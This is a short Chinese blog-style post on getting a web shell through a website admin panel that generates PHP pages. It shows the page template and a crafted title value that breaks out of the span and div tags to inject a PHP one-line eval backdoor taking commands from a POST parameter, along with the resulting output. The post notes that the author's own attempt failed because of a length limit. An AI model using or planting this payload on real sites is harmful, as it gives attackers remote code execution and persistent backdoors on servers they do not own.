后台单独生成php页面拿shell
<div id=”con660″> <div> <h4>业务领域</h4> <span>标题</span><br> <br> <span>标题2</span><br> <div>内容</div> <div>内容</div> <div>内容</div> <div>内容</div><br> </div> <div></div> </div>
这是他后台能够控制的部分,可以看到,标题和内容都被放在一个DIV里面
就拿标题部分来说吧
<span>标题</span>
直接写入一句话 将会变成
<span><?php @eval($_POST['pass']);?></span>
这样是不能执行成功的,我们要做的,仅仅只是加多一点代码而已,说白了就是想办法脱离这个<span>和<div>的控制。
比如我们把标题写成
</span></div><?php @eval($_POST['pass']);?><span>
这样输出结果就变成
<div><span></span></div><?php @eval($_POST['pass']);?><span></span>
这样就可以成功执行我们的代码了.但是今天这个后台标题限制了字数,内容编辑器也被那货搞坏了。就没成功,只能写
</span></div><?php @eval($_POST
于是,我告诉他了,他怀疑了,呵呵,这其实只是一段简单的代码,说白了就等于是注释掉DIV SPAN,和你拿到shell后插一句话后门一个概念
